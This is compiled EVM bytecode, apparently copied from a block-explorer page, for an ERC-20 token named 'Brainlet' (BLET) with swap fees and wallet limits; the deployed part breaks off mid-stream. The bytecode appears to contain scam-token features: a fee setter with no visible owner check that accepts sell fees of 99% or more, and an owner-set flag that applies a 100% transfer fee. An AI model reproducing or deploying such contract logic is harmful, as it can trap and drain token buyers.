000000008152600401610ddc90612be8565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610ea5610e786000610c1f565b610e97610e8661dead610c1f565b6001546114ba90919063ffffffff16565b6114ba90919063ffffffff16565b905090565b60606040518060400160405280600481526020017f424c455400000000000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f1a338484611192565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008183610fc19190612d52565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90612e87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612f19565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111859190612974565b60405180910390a3505050565b61119d8383836114d0565b6111a78383611641565b6111b283838361173e565b6111bc838361191c565b6111c78383836119e7565b6111d2838383611c26565b61122481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112738484611c4f565b61127d5781611289565b611288848484611cfd565b5b90506112dd81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137d9190612974565b60405180910390a350505050565b60008383111582906113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca919061286f565b60405180910390fd5b5082840390509392505050565b600081836113ee9190612cc9565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836114c89190612f39565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153690612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613071565b60405180910390fd5b600081116115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e890613103565b60405180910390fd5b6115fa83610c1f565b81111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613195565b60405180910390fd5b505050565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116e55750600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561173a57600a60149054906101000a900460ff16611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173090613201565b60405180910390fd5b5b5050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117e25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561183c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611876575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561191757611883610cf0565b6118d582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b1115611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061326d565b60405180910390fd5b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119c35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e3576001601460008282546119db919061328d565b925050819055505b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b2f57611a446107a9565b81111580611a9b5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611aef5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b259061330d565b60405180910390fd5b5b611b37610d19565b81111580611b8e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611be25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c189061330d565b60405180910390fd5b505050565b611c31838383611ebb565b15611c4a57611c41601654611ff4565b60006014819055505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf55750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611d0a8585612245565b1115611e9a576000611d42611d1f8686612245565b611d3460125486610fb390919063ffffffff16565b6113e090919063ffffffff16565b9050611d9681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e369190612974565b60405180910390a36000600e541115611e7f57611e7e3061dead611e79600e54611e6b60125489610fb390919063ffffffff16565b6113e090919063ffffffff16565b611192565b5b611e9281846114ba90919063ffffffff16565b915050611e9e565b8190505b9392505050565b60008183611eb3919061328d565b905092915050565b60008060175483101590506000601654611ed430610c1f565b10159050601560009054906101000a900460ff16158015611f015750601360009054906101000a900460ff165b8015611f195750600a60149054906101000a900460ff165b8015611f225750815b8015611f785750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fd15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611fe05750600060145410155b8015611fe95750805b925050509392505050565b6001601560006101000a81548160ff02191690831515021790555060006120626002612054600d54612046600c546120386001600b54611ea590919063ffffffff16565b611ea590919063ffffffff16565b611ea590919063ffffffff16565b6113e090919063ffffffff16565b9050600061208d8261207f600b54866113e090919063ffffffff16565b610fb390919063ffffffff16565b905060006120a482856114ba90919063ffffffff16565b905060004790506120b4826123cd565b60006120c982476114ba90919063ffffffff16565b905060006120f46120e5600b54886114ba90919063ffffffff16565b83610fb390919063ffffffff16565b9050600061210d600b54836113e090919063ffffffff16565b90506000811115612123576121228682612610565b5b600061214d600c5461213f6002866113e090919063ffffffff16565b6113e090919063ffffffff16565b905060008111156121b457736e8535e43d4f21fb3dc48065162c12924c35b71273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b505b6000479050600081111561221e57736e8535e43d4f21fb3dc48065162c12924c35b71273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561221c573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123035760646012546122fc9190612cc9565b90506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123625760105490506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c157600f5490506123c7565b60115490505b92915050565b6000600267ffffffffffffffff8111156123ea576123e961332d565b5b6040519080825280602002602001820160405280156124185781602001602082028036833780820191505090505b50905030816000815181106124305761242f61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fb91906133a0565b8160018151811061250f5761250e61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125da9594939291906134d0565b600060405180830381600087803b1580156125f457600080fd5b505af1158015612608573d6000803e3d6000fd5b505050505050565b61263d30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080736e8535e43d4f21fb3dc48065162c12924c35b712426040518863ffffffff1660e01b81526004016126b89695949392919061352a565b60606040518083038185885af11580156126d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126fb91906135a0565b5050505050565b600080fd5b6000819050919050565b61271a81612707565b811461272557600080fd5b50565b60008135905061273781612711565b92915050565b600080600080600080600060e0888a03121561275c5761275b612702565b5b600061276a8a828b01612728565b975050602061277b8a828b01612728565b965050604061278c8a828b01612728565b955050606061279d8a828b01612728565b94505060806127ae8a828b01612728565b93505060a06127bf8a828b01612728565b92505060c06127d08a828b01612728565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b838110156128195780820151818401526020810190506127fe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612841826127df565b61284b81856127ea565b935061285b8185602086016127fb565b61286481612825565b840191505092915050565b600060208201905081810360008301526128898184612836565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128bc82612891565b9050919050565b6128cc816128b1565b81146128d757600080fd5b50565b6000813590506128e9816128c3565b92915050565b6000806040838503121561290657612905612702565b5b6000612914858286016128da565b925050602061292585828601612728565b9150509250929050565b60008115159050919050565b6129448161292f565b82525050565b600060208201905061295f600083018461293b565b92915050565b61296e81612707565b82525050565b60006020820190506129896000830184612965565b92915050565b6000806000606084860312156129a8576129a7612702565b5b60006129b6868287016128da565b93505060206129c7868287016128da565b92505060406129d886828701612728565b9150509250925092565b6000602082840312156129f8576129f7612702565b5b6000612a06848285016128da565b91505092915050565b600060ff82169050919050565b612a2581612a0f565b82525050565b6000602082019050612a406000830184612a1c565b92915050565b600080600060608486031215612a5f57612a5e612702565b5b6000612a6d86828701612728565b9350506020612a7e86828701612728565b9250506040612a8f86828701612728565b9150509250925092565b612aa28161292f565b8114612aad57600080fd5b50565b600081359050612abf81612a99565b92915050565b60008060408385031215612adc57612adb612702565b5b6000612aea858286016128da565b9250506020612afb85828601612ab0565b9150509250929050565b612b0e816128b1565b82525050565b6000602082019050612b296000830184612b05565b92915050565b600060208284031215612b4557612b44612702565b5b6000612b5384828501612728565b91505092915050565b60008060408385031215612b7357612b72612702565b5b6000612b81858286016128da565b9250506020612b92858286016128da565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd26020836127ea565b9150612bdd82612b9c565b602082019050919050565b60006020820190508181036000830152612c0181612bc5565b9050919050565b7f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260008201527f65207468616e2032302500000000000000000000000000000000000000000000602082015250565b6000612c64602a836127ea565b9150612c6f82612c08565b604082019050919050565b60006020820190508181036000830152612c9381612c57565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cd482612707565b9150612cdf83612707565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d1857612d17612c9a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d5d82612707565b9150612d6883612707565b925082612d7857612d77612d23565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000612ddf602e836127ea565b9150612dea82612d83565b604082019050919050565b60006020820190508181036000830152612e0e81612dd2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e716024836127ea565b9150612e7c82612e15565b604082019050919050565b60006020820190508181036000830152612ea081612e64565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f036022836127ea565b9150612f0e82612ea7565b604082019050919050565b60006020820190508181036000830152612f3281612ef6565b9050919050565b6000612f4482612707565b9150612f4f83612707565b9250828203905081811115612f6757612f66612c9a565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fc96025836127ea565b9150612fd482612f6d565b604082019050919050565b60006020820190508181036000830152612ff881612fbc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305b6023836127ea565b915061306682612fff565b604082019050919050565b6000602082019050818103600083015261308a8161304e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130ed6029836127ea565b91506130f882613091565b604082019050919050565b6000602082019050818103600083015261311c816130e0565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061317f6031836127ea565b915061318a82613123565b604082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006131eb600e836127ea565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613257601e836127ea565b915061326282613221565b602082019050919050565b600060208201905081810360008301526132868161324a565b9050919050565b600061329882612707565b91506132a383612707565b92508282019050808211156132bb576132ba612c9a565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006132f76011836127ea565b9150613302826132c1565b602082019050919050565b60006020820190508181036000830152613326816132ea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061339a816128c3565b92915050565b6000602082840312156133b6576133b5612702565b5b60006133c48482850161338b565b91505092915050565b6000819050919050565b6000819050919050565b60006133fc6133f76133f2846133cd565b6133d7565b612707565b9050919050565b61340c816133e1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613447816128b1565b82525050565b6000613459838361343e565b60208301905092915050565b6000602082019050919050565b600061347d82613412565b613487818561341d565b93506134928361342e565b8060005b838110156134c35781516134aa888261344d565b97506134b583613465565b925050600181019050613496565b5085935050505092915050565b600060a0820190506134e56000830188612965565b6134f26020830187613403565b81810360408301526135048186613472565b90506135136060830185612b05565b6135206080830184612965565b9695505050505050565b600060c08201905061353f6000830189612b05565b61354c6020830188612965565b6135596040830187613403565b6135666060830186613403565b6135736080830185612b05565b61358060a0830184612965565b979650505050505050565b60008151905061359a81612711565b92915050565b6000806000606084860312156135b9576135b8612702565b5b60006135c78682870161358b565b93505060206135d88682870161358b565b92505060406135e98682870161358b565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202ae123ee87418d68a676589b48dd6a7c33936955b451c50c0220c529086a27b464736f6c63430008100033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610525578063a8aa1b3114610550578063a9059cbb1461057b578063dd62ed3e146105b857610171565b80638c41180e146104a65780638da5cb5b146104cf5780639358928b146104fa57610171565b806370a08231146103a8578063715018a6146103e557806378109e54146103fc5780637d1db4a514610427578063893d20e8146104525780638a5583d11461047d57610171565b8063293230b811610123578063293230b81461029a5780632f54bf6e146102b1578063313ce567146102ee57806334c5d2ce146103195780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd146102075780631f976b7e1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d6004803603810190610198919061273d565b6105f5565b005b3480156101ab57600080fd5b506101b461074b565b6040516101c1919061286f565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906128ef565b610788565b6040516101fe919061294a565b60405180910390f35b34801561021357600080fd5b5061021c61079f565b6040516102299190612974565b60405180910390f35b34801561023e57600080fd5b506102476107a9565b6040516102549190612974565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061298f565b6107d2565b604051610291919061294a565b60405180910390f35b3480156102a657600080fd5b506102af61089d565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129e2565b610936565b6040516102e5919061294a565b60405180910390f35b3480156102fa57600080fd5b5061030361098f565b6040516103109190612a2b565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612a46565b610998565b005b34801561034e57600080fd5b50610369600480360381019061036491906129e2565b610b28565b604051610376919061294a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612ac5565b610b48565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906129e2565b610c1f565b6040516103dc9190612974565b60405180910390f35b3480156103f157600080fd5b506103fa610c68565b005b34801561040857600080fd5b50610411610cf0565b60405161041e9190612974565b60405180910390f35b34801561043357600080fd5b5061043c610d19565b6040516104499190612974565b60405180910390f35b34801561045e57600080fd5b50610467610d42565b6040516104749190612b14565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612b2f565b610d51565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612ac5565b610d69565b005b3480156104db57600080fd5b506104e4610e40565b6040516104f19190612b14565b60405180910390f35b34801561050657600080fd5b5061050f610e69565b60405161051c9190612974565b60405180910390f35b34801561053157600080fd5b5061053a610eaa565b604051610547919061286f565b60405180910390f35b34801561055c57600080fd5b50610565610ee7565b6040516105729190612b14565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d91906128ef565b610f0d565b6040516105af919061294a565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190612b5c565b610f24565b6040516105ec9190612974565b60405180910390f35b6105fd610fab565b73ffffffffffffffffffffffffffffffffffffffff1661061b610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890612be8565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f8190555081601081905550806011819055506106b86005601254610fb390919063ffffffff16565b600f54111580156106e057506106da6005601254610fb390919063ffffffff16565b60115411155b801561070357506106fd6003601254610fb390919063ffffffff16565b60105411155b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990612c7a565b60405180910390fd5b50505050505050565b60606040518060400160405280600881526020017f427261696e6c6574000000000000000000000000000000000000000000000000815250905090565b6000610795338484610fc9565b6001905092915050565b6000600154905090565b60006012546003546107b961079f565b6107c39190612cc9565b6107cd9190612d52565b905090565b60006107df848484611192565b610892843361088d856040518060600160405280602881526020016135f460289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b9092919063ffffffff16565b610fc9565b600190509392505050565b6108a5610fab565b73ffffffffffffffffffffffffffffffffffffffff166108c3610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091090612be8565b60405180910390fd5b6000600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109a0610fab565b73ffffffffffffffffffffffffffffffffffffffff166109be610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612be8565b60405180910390fd5b6000606484610a2161079f565b610a2b9190612cc9565b610a359190612d52565b90506000606484610a4461079f565b610a4e9190612cc9565b610a589190612d52565b90506000606484610a6761079f565b610a719190612cc9565b610a7b9190612d52565b90508560028190555084600381905550836004819055506000610ac2600a610ab46005610aa661079f565b6113e090919063ffffffff16565b610fb390919063ffffffff16565b9050808410158015610ad45750808310155b8015610ae05750808210155b610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1690612df5565b60405180910390fd5b50505050505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610b50610fab565b73ffffffffffffffffffffffffffffffffffffffff16610b6e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612be8565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c70610fab565b73ffffffffffffffffffffffffffffffffffffffff16610c8e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb90612be8565b60405180910390fd5b610cee60006113f6565b565b6000601254600454610d0061079f565b610d0a9190612cc9565b610d149190612d52565b905090565b6000601254600254610d2961079f565b610d339190612cc9565b610d3d9190612d52565b905090565b6000610d4c610e40565b905090565b806010819055506063811015610d6657600080fd5b50565b610d71610fab565b73ffffffffffffffffffffffffffffffffffffffff16610d8f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612be8565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610ea5610e786000610c1f565b610e97610e8661dead610c1f565b6001546114ba90919063ffffffff16565b6114ba90919063ffffffff16565b905090565b60606040518060400160405280600481526020017f424c455400000000000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f1a338484611192565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008183610fc19190612d52565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90612e87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612f19565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111859190612974565b60405180910390a3505050565b61119d8383836114d0565b6111a78383611641565b6111b283838361173e565b6111bc838361191c565b6111c78383836119e7565b6111d2838383611c26565b61122481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112738484611c4f565b61127d5781611289565b611288848484611cfd565b5b90506112dd81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137d9190612974565b60405180910390a350505050565b60008383111582906113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca919061286f565b60405180910390fd5b5082840390509392505050565b600081836113ee9190612cc9565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836114c89190612f39565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153690612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613071565b60405180910390fd5b600081116115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e890613103565b60405180910390fd5b6115fa83610c1f565b81111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613195565b60405180910390fd5b505050565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116e55750600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561173a57600a60149054906101000a900460ff16611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173090613201565b60405180910390fd5b5b5050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117e25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561183c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611876575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15